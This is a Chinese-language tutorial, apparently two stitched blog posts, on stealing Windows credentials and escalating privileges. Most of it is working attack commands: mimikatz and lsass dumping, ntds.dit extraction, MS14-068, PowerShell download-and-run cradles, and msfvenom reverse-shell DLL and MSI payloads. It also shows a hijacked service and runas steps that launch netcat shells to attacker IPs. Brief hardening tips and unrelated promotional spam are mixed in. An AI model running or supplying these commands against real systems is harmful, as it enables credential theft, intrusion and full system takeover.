很多人認為個人計算機比較安全,因為給計算機設置了密碼,外人不知道設置的密碼,因此也就安全了,其實這里面很很大的誤解,個人計算機安全除了設置密碼強健程度以外,還需要設置禁用光盤啟動,禁止修改BIOS。下面介紹密碼相關知識,了解這些將有助于防范黑客攻擊和資料外泄。
windows系統密碼獲取有多種方式,下面對獲取windows密碼的思路進行總結:
1.通過0day直接獲取權限,然后通過wce等工具獲取明文或者哈希值,比如ms08067,通過溢出直接獲取system權限,雖然現在越來越少,但現實中還是存在,比如最近的iis webdav、ms017-010溢出漏洞。
2.通過網站漏洞獲取webshell后,通過系統存在漏洞提權,獲取權限后再獲取系統密碼以及哈希值。
3.內網環境可以通過ntscan等工具進行掃描,暴力破解獲取。
4.本地物理接觸獲取。通過livecd、PE盤等工具,啟動系統后,直接讀取系統文件,將config文件夾全部復制,然后進行哈希值提取并暴力破解之。
1.gethash
insidepro.com公司早期開發的提取密碼工具,最新版本1.6,目前已經停止更新,其工具在saminside中可以獲取。
2.gsecdump
gsecdump目前版本為v2.0b5,由于其使用的廣泛性,因此被google瀏覽器以及殺毒軟件定義為病毒,官方網站已經不提供下載地址,可以給官方(info@truesec.co)發郵件索取。
3.QuarksPwDump
Quarks PwDump是quarkslab出品的一款用戶密碼提取開源工具,目前軟件最新版本為0.2b,其完整源代碼可以從https://github.com/quarkslab/quarkspwdump獲取,目前它支持Windows XP/2003/Vista/7/2008版本,且相當穩定。可以抓取windows平臺下多種類型的用戶憑據,包括:本地帳戶、域帳戶、緩存的域帳戶和Bitlocker。
4.pwdump
Pwdump4.02版本中有兩個文件,一個是Pwd4.dll,另外一個是Pwdump4.exe,在早期版本中其dll文件為lsaext.dll。
5.mimikatz
Mimikatz是法國人benjamin開發的一款功能強大的輕量級調試工具,本意是用來個人測試,但由于其功能強大,能夠直接讀取WindowsXP-2012等操作系統的明文密碼而聞名于滲透測試,可以說是滲透必備工具,從早期1.0版本到現在的2.1.1 20180205版本,其功能得到了很大的提升和擴展,最新版下載地址:https://github.com/gentilkiwi/mimikatz/releases/download/2.1.1-20180205/mimikatz_trunk.zip
6. Windows Credentials Editor (WCE)
WCE是一款功能強大的windows平臺內網滲透工具,它可以列舉登陸會話,并且可以添加、改變和刪除相關憑據(例如:LM/NT hashes)。這些功能在內網滲透中能夠被利用,例如,在windows平臺上執行繞過hash或者從內存中獲取NT/LM hashes(也可以從交互式登陸、服務、遠程桌面連接中獲取)以用于進一步的攻擊。,而且體積也非常小,是內網滲透手必備工具。https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
https://www.ampliasecurity.com/research/wce_v1_41beta_universal.zip
7.reg命令導出到文件
通過執行reg命令將sam、system、security文件內容導出到文件。
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
8.procdump.exe +mimikatz
procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bits
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bits
sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPassword
1.物理接觸獲取密碼法
通過將Ophcrack liveCD(http://ophcrack.sourceforge.net/download.php?type=livecd)、BT5、kali、PE等制作成啟動光盤或者啟動U盤,啟動系統后將系統目錄下的config文件下的SAM和SECURITY文件復制出來。通過saminside導入即可進行破解。
2.前面提及工具的密碼獲取方法
(1)gethash $local
(2)gsecdump –a
(3)QuarksPwDump
QuarksPwDump -dhl 導出本地哈希值
QuarksPwDump –dhdc 導出內存中的域控哈希值
QuarksPwDump -dhd 導出域控哈希值,必須指定NTDS文件
(4)pwd4 /l /o:filename.sam
(5)mimikatz
privilege::debug
sekurlsa::logonpasswords
(6)wce –a
3.域控密碼獲取
(1)gsecdump法
gsecdump –s >all.txt
(2)QuarksPwDump法
ntdsutil snapshot "activate instance ntds" create quit quit//創建快照
ntdsutil snapshot "mount {GUID}" quit quit // Ntdsutil掛載活動目錄的快照
copy MOUNT_POINT\windows\NTDS\ntds.dit c:\ntds.dit //復制快照的本地磁盤
ntdsutil snapshot "unmount {GUID}" quit quit //卸載快照
ntdsutil snapshot "delete {GUID}" quit quit //刪除快照
QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit //提權文件hash值
注意:獲取哈希值最好都在同一臺服務器上執行,也即將QuarksPwDump.exe直接放在導出ntds.dit服務器上,執行導出命令。如果僅僅將ntds.dit復制后下載本地可能會出現無法讀取錯誤。如果是想下載ntds.dit到本地恢復還需要執行“reg save hklm\system system.hive”,將system.hive和ntds.dit全部復制到本地進行域控密碼獲取。網上也曾經出現一個NTDS.dit密碼快速提取工具ntdsdump,使用命令來快速提取:
NTDSDump.exe -f ntds.dit -s SYSTEM -o Hash.txt
(3)使用ms14-068漏洞攻擊域控服務器獲取域控權限
ms14-068.exe -u -p -s –d 生成偽造緩存test.ccache,然后通過mimikatz導入test.ccache:
kerberos::ptc test.ccache
net use命令獲取域控權限:
net use \A-EE64804.TEST.LOCAL
dir \A-EE64804.TEST.LOCAL\c$
通過前面的方法來獲取域控密碼。
4.使用winlogonhack獲取系統密碼
安裝winlogonhack記錄程序,記錄3389登錄密碼到系統目錄下的boot.dat文件。
5使用ps1批量獲取windows密碼
在Windows2008及以上操作系統中執行命令:
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
注意:獲取密碼的計算機必須能夠訪問raw.githubusercontent.com網絡,也可以將該ps文件下載到其他地址,然后替換后執行.
6.在msf獲取反彈的shell上獲取密碼。
(1)getuid 獲取當前帳號為系統權限,則進行后續操作,否則通過ps命令去獲取小于1000以內的pid,執行migrate pid來提升權限后,繼續執行后續步驟。
(2)load mimikatz
(3)運行mimikatz下面的憑證獲取命令
kerberos 獲取網絡認證協議憑證,其中可能會有明文密碼
msv 獲取msv 憑證,其中包含LM和NTLM哈希密碼值
wdigest 獲取wdigest (摘要式身份驗證)憑證,其中可能會有明文密碼
(4)還可以執行hashdump來導出系統的哈希密碼值
7. iis7配置文件密碼讀取
mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\applicationHost.config" /live" exit
8.vpn密碼獲取
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
9.openvpn配置及其密碼
發現安裝有OpenVPN,可以將其配置文件夾config全部復制到本地,重新覆蓋后可以只用其key和密碼或者密鑰進行登錄,如圖1所示。
圖1復制vpn配置文件
10.windows下瀏覽器、EMail、遠程桌面等密碼獲取工具
nirsoft 公司(http://www.nirsoft.net/password_recovery_tools.html)提供很多的免費密碼獲取工具。其所有工具包http://www.nirsoft.net/packages/passrecenc.zip,壓縮文件密碼:nirsoft123!。
(1)mail密碼獲取工具mailpv
http://www.nirsoft.net/toolsdownload/mailpv.zip
(2)msn密碼獲取工具mspass
http://www.nirsoft.net/toolsdownload/ mspass.zip
(3)IE密碼獲取工具IEpassview,執行效果如圖2所示。在內網個人或者服務器上比較有用,可以獲取內網一些cms登錄記錄的密碼。http://www.nirsoft.net/toolsdownload/iepv.zip
圖2IE密碼記錄獲取
(4)Outlook密碼獲取工具pst_password
http://www.nirsoft.net/toolsdownload/pstpassword.zip
(5)Foxfire、Chrome、opera瀏覽器密碼獲取工具passwordfox和chromepass
http://www.nirsoft.net/toolsdownload/passwordfox.zip
http://www.nirsoft.net/toolsdownload/passwordfox-x64.zip
http://www.nirsoft.net/toolsdownload/chromepass.zip
http://www.nirsoft.net/toolsdownload/operapassview.zip
http://www.nirsoft.net/toolsdownload/webbrowserpassview.zip
(6)無線網絡密碼獲取工具
http://www.nirsoft.net/toolsdownload/wirelesskeyview-x64.zip
http://www.nirsoft.net/toolsdownload/wirelesskeyview.zip
(7)遠程桌面密碼獲取工具rdpv
http://www.nirsoft.net/toolsdownload/rdpv.zip
cmdkey /list 查看3389可信任鏈接,使用netpass.exe即可知道密碼
(8)vnc密碼獲取工具
http://www.nirsoft.net/toolsdownload/vncpassview.zip
11.數據庫密碼獲取
可以通過分析網站源代碼從數據庫配置文件例如conn.php、web.config、config.php等文件中獲取數據庫的賬號、密碼及服務器IP地址。
12.使用cain等工具進行嗅探
使用cain工具在內網進行精確嗅探,可以嗅探各種密碼,但嗅探時間不宜過長,否則因為流量異常容易被發現。
對于上班的個人計算機,如果在BIOS中未設置安全驗證和禁止光盤、網絡和U盤啟動,入侵者可以通過物理接觸計算機,竊取個人計算機資料。
1.獲取系統sam和system文件
通過livecd、BT5、Kali、ophcrack等工具盤,啟動系統后,將windows\system32\config文件夾下的SAM、SYSTEM和SECURITY文件復制出來,如圖3所示。
圖3復制sam、security和security文件
2.導入sam和system和文件
使用saminside工具軟件,選擇導入sam、security和system文件,即從File中選擇第一個選項,如圖4所示,分別選擇sam、security和system文件,其NTLM哈希值就出來了。
圖4獲取用戶密碼哈希值
3.使用ophcrack進行密碼破解
選擇需要破解的密碼哈希值,將其導出,然后單獨復制需要破解的哈希值,在本例中為:
Administrator:500:E7108C208C467BF789985C6892014BB8:981A05EBA7EA97FA5E776705E985D15A:管理計算機(域::將該值復制到ophcrack中進行破解,如圖5所示。
圖5使用ophcrack進行暴力破解
4.通過網站在線破解
LM哈希值和NT哈希值復制到網站http://www.objectif-securite.ch/ophcrack.php(改版后新地址為:https://www.objectif-securite.ch/ophcrack)進行破解,如圖6所示,直接就出來了,密碼為mmd-333cyx。
通過筆者研究,可以通過以下一些方法和措施來加強個人計算機安全。
1.安裝殺毒軟件,及時更新病毒庫,并設置病毒保護密碼。無該密碼無法清除殺毒軟件查殺的病毒。
2.設置強健的密碼。目前14位以下的密碼,通過ophcrack可以快速進行破解,建議設置超過14位以上的字母大小寫+數字+特殊字符的密碼,可以是一句話的首字母加大小寫加特殊字符加世界等。
3.設置BIOS禁止除硬盤外地其它方式啟動,也即禁止從網絡、光盤和優盤啟動。
4.進入系統設置兩道關口,第一道是BIOS進入密碼,第二次是系統設置的密碼。
作者最新原創圖書:
《網絡攻防實戰研究:MySQL數據庫攻擊與防御》 京東購買地址:https://item.jd.com/12743208.html
《SQLMAP從入門到精通》 京東購買地址:https://item.jd.com/12671154.html
《Web服務器滲透實戰技術》 京東購買地址:https://item.jd.com/12707216.html
本節主要針對Windows操作系統下的權限提升進行介紹,提權是后滲透重要的一環節,在權限較低的情況下,站在攻擊者的視角進行內部網絡安全測試、系統安全測試、應用安全測試等方面會出現“束縛”,所測試出的質量與結果也會不同。本文基于Win操作系統下分別從內核漏洞、權限配置、DLL注入、注冊表等方面展開介紹,其中包含漏洞本身的介紹、漏洞復現過程等內容的展現。該提權內容的閱讀沒有前后順序,可根據讀者自身所需進行全文閱讀或某方向內容的閱讀。
權限提升意味著用戶獲得不允許他使用的權限。比如從一個普通用戶,通過“手段”讓自己變為管理員用戶,也可以理解為利用操作系統或軟件應用程序中的錯誤,設計缺陷或配置錯誤來獲得對更高訪問權限的行為。
讀取/寫入敏感文件
重新啟動之后權限維持
插入永久后門
1.內核漏洞
2.錯誤的服務權限配置
3.DLL注入
4.始終以高權限安裝程序
5.憑證存儲
內核漏洞利用程序是利用內核漏洞來執行具有更高權限的任意代碼的程序。成功的內核利用通常會以root命令提示符的形式為攻擊者提供對目標系統的超級用戶訪問權限。
接下來我們以MS16-032來做演示,
給大家介紹下檢查Windows提權輔助工具,wesng主要幫助檢測Windows安全缺陷,是Windows Exploit Suggesters的升級版,通過讀取加載systeminfo命令的結果來輸出漏洞利用建議。
https://github.com/bitsadmin/wesng.git
1. 將wesng下載到本地主機上,先升級最新的漏洞數據庫。
python wes.py --update
2. 將目標機器的systeminfo命令的結果輸出并保存,使用wesng進行檢查。
發現只安裝3個補丁,可以查看輸出結果來找對應的漏洞利用代碼。
3.下載https://www.exploit-db.com/exploits/39719里面的漏洞利用
使用powershell下載漏洞利用代碼并執行
Powershell IEX (New-Object Net.WebClient).DownloadString('http://X.X.X.X:8000/ms16-032.ps1');Invoke-MS16-032
Microsoft Windows 服務(即以前的 NT 服務)能夠創建可長時間運行的可執行應用程序。這些服務可以在計算機啟動時自動啟動,可以暫停和重新啟動而且不顯示任何用戶界面。這種服務非常適合在服務器上使用,或任何時候,為了不影響在同一臺計算機上工作的其他用戶,需要長時間運行功能時使用。還可以在不同登錄用戶的特定用戶帳戶或默認計算機帳戶的安全上下文中運行服務。Windows服務(Windows Services)通常使用本地系統賬戶啟動。如果我們擁有可以修改服務配置權限的話,可以將服務啟動的二進制文件替換成惡意的二進制文件,重新啟動服務后執行惡意的二進制文件,可以獲取到system權限。
如果大家在學習中遇到困難,想找一個python學習交流環境,可以加入我們的python裙,關注小編,并私信“01”即可進裙,領取python學習資料,會節約很多時間,減少很多遇到的難題。
1.首先需要在找到存在配置權限錯誤的服務,這里推薦大家使用powerup.ps1,
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
powerup是一個非常好用的windows提權輔助腳本,可以檢查各種服務濫用,dll劫持,啟動項等,來枚舉系統上常見的提權方式。
接下來我們以CVE-2019-1322進行演示,Update Orchestrator服務的運行方式為NT AUTHORITY\SYSTEM,并且在Windows 10和Windows Server 2019上已默認啟用。首先使用powershell加載powerup.ps1,需要在powerup.ps1結尾中加入InvokeAllchecks或者使用powershell執行時加載,執行如下代碼:
Powershell -exec bypass IEX(new-object Net.webclient).downloadstring('http://192.168.25.31:8000/PowerUp.ps1'); InvokeAllchecks
發現USOSVC可以被修改和重啟。
2.接下來我們上傳nc,此處可以換成cs或msf生成的任意可執行文件 ,此處有一個小坑,binPath=和路徑中間有一個空格,修改服務啟動的可執行程序后,啟動服務。
1)停止USOSVC 服務
PS C:\Windows\system32> sc stop UsoSvc
2)將服務執行的exe文件修改為nc,反彈shell
PS C:\Windows\system32> sc config usosvc binPath= "C:\GitStack\gitphp\nc.exe 192.168.25.31 4455 -e cmd.exe"
3)將服務狀態設置為自動啟動
PS C:\Windows\system32> sc config usosvc start=auto
4)啟動服務
PS C:\Windows\system32> sc start usosvc
按部就班地執行
執行后,設置并開啟服務
DLL注入提權是一種利用應用程序錯誤加載DLL的技術。可以使用此技術來實現提權以及持久控制。
首先,讓我們了解應用程序加載DLL的機制。
DLL代表動態鏈接庫,它是一個庫文件,其中包含可被多個應用程序同時動態訪問和使用的代碼和數據。DLL是Microsoft引入的,用于實現共享庫的概念。
如果一個用戶是DNSAdmins組成員,可以以管理員權限加載DLL,我們可以通過msfvenom來生成一個反彈shell的DLL文件獲取管理員權限。
1. 首先查看我們的用戶權限,我們的用戶在DNSAdmin組里面
2. 使用msfvenom生成一個反彈shell。
Msfvenom -p windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=443 -f dll -o rev.dll
3. 在攻擊者機器啟動smb服務,通過UNC來讀取攻擊機上生成的DLL文件。
4. 在目標機器上調用dnscmd來執行加載遠程DLL文件,普通用戶執行dnscms可能會失敗。
PS C:\Users\> dnscmd.exe /config /serverlevelplugindll \\X.X.X.X\s\rev.dll
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
PS C:\Users\> sc.exe \\resolute stop dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530*
PS C:\Users\> sc.exe \\resolute start dns
SERVICE_NAME: dns
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 2644
FLAGS :
5. 獲取到system權限的shell
AlwaysInstallElevated是一項功能,可為Windows計算機上的所有用戶(尤其是低特權用戶)提供運行任何具有高權限的MSI文件的功能。MSI是基于Microsoft的安裝程序軟件包文件格式,用于安裝,存儲和刪除程序。
通過組策略中的windows installer來進行配置,默認情況下該配置是關閉的。
1. 首先需要檢查計算機是否開啟了該配置,也可以通過執行powerup.ps1來檢查權限。
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
2. 使用msfvenom生成一個msi文件用來反彈shell。
Msfvenom -p windows/meterpreter/reverse_tcp lhost=X.X.X.X lport=4567 -f msi > 1.msi
3. 安裝msi,獲取反彈shell
msiexec /quiet /qn /i C:\Windows\Temp\1.msi
Windows7之后的操作系統提供了windows保險柜功能(Windows Vault),Window保險柜存儲Windows可以自動登錄用戶的憑據,這意味著需要憑據才能訪問資源(服務器或網站)的任何Windows應用程序都可以使用此憑據管理器和Windows Vault并使用提供的憑據代替用戶一直輸入用戶名和密碼。
除非應用程序與憑據管理器進行交互,否則我認為它們不可能對給定資源使用憑據。因此,如果您的應用程序要使用保管庫,則應以某種方式與憑證管理器進行通信,并從默認存儲保管庫中請求該資源的憑證。
1.通過cmdkey /list 列出存儲的所有用戶的憑據,發現administrator憑據被存儲在了本機上。
2.使用runas來以管理員權限啟動nc反彈shell
Runas /user:administrator /savecred "nc.exe -e cmd.exe X.X.X.X 1337"
3.在攻擊機啟動監聽,獲取反彈shell。
在測試項目中,測試人員通常會設法獲取shell,然后再進行下一步的操作,本文旨在給大家提供一些從普通權限到system權限的思路,基本總結如下:
1.通過查看內核版本,尋找是否存在可以利用的提權EXP。
2.通過信息收集,查看機器配置,賬戶密碼等查看是否可以利用。
3.通過查看系統的應用,或者第三方應用,查找服務本身是否存在問題,或者是否配置存在問題,如大家常見的mysql提權
最后多說一句,小編是一名python開發工程師,這里有我自己整理了一套最新的python系統學習教程,包括從基礎的python腳本到web開發、爬蟲、數據分析、數據可視化、機器學習等。想要這些資料的可以關注小編,并在后臺私信小編:“01”即可領取。